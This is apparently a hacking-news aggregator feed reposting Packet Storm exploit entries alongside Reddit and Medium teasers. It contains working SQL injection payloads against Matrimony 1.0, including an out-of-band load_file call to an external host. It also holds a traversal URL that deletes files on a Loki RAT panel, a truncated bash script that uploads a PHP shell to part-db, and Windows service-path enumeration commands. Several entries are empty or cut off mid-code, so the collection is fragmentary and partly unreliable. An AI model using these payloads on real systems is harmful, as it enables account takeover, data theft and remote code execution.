Exploit Collector
Matrimony 1.0 SQL Injection

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Matrimony version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | cd2b175a3345aa38a825a2be6405314c

Download
## Title: Matrimony 1.0 SQLi
## Author: nu11secur1ty
## Date: 03.05.2022
## Vendor: https://www.vetbossel.in/matrimony-project-php/
## Software: https://cutt.ly/LOHzKd0,
https://www.vetbossel.in/matrimony-project-php/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony

## Description:
The password parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'
was submitted in the password parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system,
also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-5824' OR 4197=4197--
jrsh&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=VbMOEEMf' AND (SELECT 2589 FROM(SELECT
COUNT(*),CONCAT(0x7178706b71,(SELECT
(ELT(2589=2589,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
gXFR&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=VbMOEEMf' AND (SELECT 4030 FROM
(SELECT(SLEEP(5)))ciQI)-- nHot&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: username=-4629' UNION ALL SELECT
CONCAT(0x7178706b71,0x505747504a524d546e7842785156787361686c546c6e695873646952794a545770586447467a4d6b,0x71706a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
-&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony)

## Proof and Exploit:
[href](https://streamable.com/7gggih)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Loki RAT (Relapse) Directory Traversal / Arbitrary File Deletion

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Loki RAT (Relapse) malware suffers from a directory traversal vulnerability that can allow for arbitrary file deletion.

MD5 | 4bef4a286d43bda4977fcfb80e5556af

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/aabb54951546132e70a8e9f02bf8b5ba.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Loki RAT (Relapse)
Vulnerability: Directory Traversal - Arbitrary File Delete
Description: The LokiRAT WebUI panel for "LokiRAT_Relapse.exe" runs on PHP and MySQL and is used control infected hosts through a central server.
The admin webpage "admin.php" takes four parameters pass, command, id and type. Theres a single check to authenticate $_GET['pass'] against a hardcoded clear-text password in settings.php.

The backend "admin.php" code has an upload feature, it uses PHP "unlink" function to delete a file before moving the new one. However, the code does not
use any secure coding practices, sanitize or filter user input for directory traversal characters "/../". This can allow authenticated users, compromised bots or third-party attackers
who can guess the password check, ability to delete any file E.g. ".php", ".htaccess" etc in the root panel outside the "uploads/" dir, causing Loki web panel to become inoperative.

admin.php snippet:

case "upload":
$fullfilename = "uploads/" . $_GET['filename'];
if (file_exists($fullfilename)) unlink ($fullfilename);
move_uploaded_file($_FILES['file']['tmp_name'], $fullfilename);

Family: Loki
Type: WebUI
MD5: aabb54951546132e70a8e9f02bf8b5ba
MD5: 16c33e28c8c9b3ea71249ad94be4bf94 (admin.php)
Vuln ID: MVID-2022-0509
Disclosure: 03/05/2022

Exploit/PoC:
delete "settings.php" file which holds database connection, rendering the backend inoperative.

http://LOKI-RAT-IP/PHP%20Files/admin.php?pass=test&command=webcam&id=1&type=upload&filename=/../settings.php

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Private Internet Access 3.3 Unquoted Service Path

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
Private Internet Access version 3.3 suffers from an unquoted service path vulnerability.

MD5 | 8b4fc70cb1a8cd6721bc2da2d14fd382

Download
# Exploit Title: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path
# Date: 04/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.privateinternetaccess.com
# Software Link: https://www.privateinternetaccess.com/download
# Version: 3.3.0.100
# Tested: Windows 10 x64
# Contact: https://twitter.com/dmaral3noz

# Step to discover Unquoted Service Path:

C:\Users\saudh>wmic service where 'name like "%PrivateInternetAccessService%"' get name, displayname, pathname, startmode, startname

DisplayName Name PathName StartMode StartName
Private Internet Access Service PrivateInternetAccessService "C:\Program Files\Private Internet Access\pia-service.exe" Auto LocalSystem

# Service info:

C:\Users\saudh>sc qc PrivateInternetAccessService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PrivateInternetAccessService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Private Internet Access\pia-service.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Private Internet Access Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Loki RAT (Relapse) SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
part-db 0.5.11 Remote Code Execution

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
part-db version 0.5.11 suffers from a remote code execution vulnerability.

MD5 | 0a4b599d9e4ab630547f878d967ae1f8

Download
# Exploit Title: part-db 0.5.11 - Remote Code Execution (RCE)
# Google Dork: NA
# Date: 03/04/2022
# Exploit Author: Sunny Mehra @DSKMehra
# Vendor Homepage: https://github.com/part-db/part-db
# Software Link: https://github.com/part-db/part-db
# Version: [ 0.5.11.]
# Tested on: [KALI OS]
# CVE : CVE-2022-0848
#
---------------

#!/bin/bash
host=127.0.0.1/Part-DB-0.5.10 #WEBHOST
#Usage: Change host
#Command: bash exploit.sh
#EXPLOIT BY @DSKMehra
echo "POC.phtml #PHP Shell Code
result=`curl -i -s -X POST -F "logo_file=@POC.phtml" "http://$host/show_part_label.php" | grep -o -P '(?<=value="data


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Spring Cloud Gateway 3.1.0 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Industrial Systems See More Vulnerabilities, Greater Threat

The makers of operational technology and connected devices saw reported vulnerabilities grow by half in 2021, but other trends may be more disturbing.

hacking: security in practice
Trying out evil twin attack but after putting my wireless card into monitor mode and starting hostapd, my wireless card goes into master mode

Hey everyone, so I’ve been trying lately to get an evil twin attack to work in my lab setup. It works sometimes, but sometimes after I start up hostapd for the fake access point, I noticed that the wireless card goes into master mode now. Is there a fix for that? Anything I can do?

submitted by /u/ismaeljabbar
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Intentionally vulnerable networks for hackers

What are some intentionally vulnerable networks for hackers to test their abilities other than hackthissite?

submitted by /u/Electronic_Ad_5076
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Scrypt to find relation between numbers

Do you know any github project that given a list of numbers, for example (1234,2234,3234,4234) gets the relation with other list like (A234, B234,C234,D234)

submitted by /u/drZoidberg1492
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/W_aa_BdtlFYNhJ7jGMTMnSReD31ksh0rkYRN_qm15fs.jpg submitted by /u/woodsm84
[link] [comments]

Hacking on Medium
Hack App Data APK No Root Latest Version Download Free for Android

Download Hack App Data APK No Root from below given download link. what is Hack App Data APK? now we are going tell about it, which…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Dos nuevos errores de día cero de Mozilla Firefox bajo ataque activo: ¡Parche su navegador lo antes…

https://cdn-images-1.medium.com/max/1455/0*uOkhJd_zsVqko2Cz
PUBLICADO EN 7 MARZO, 2022 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How To Write A Simple PHP Shell

https://cdn-images-1.medium.com/max/799/1*jbqaUFSLwHz7lgOKUEwq4w.png
DISCLAIMER: This should be used just for penetration testing purpose. If you use it without the authorization of the owner of the website…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Oh My WebServer CTF

https://cdn-images-1.medium.com/max/616/1*Le9gHuf3v0ZnXjjk78t3Dg.png
A Intermediate level CTF hosted on TryHackMe created by tinyboy

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video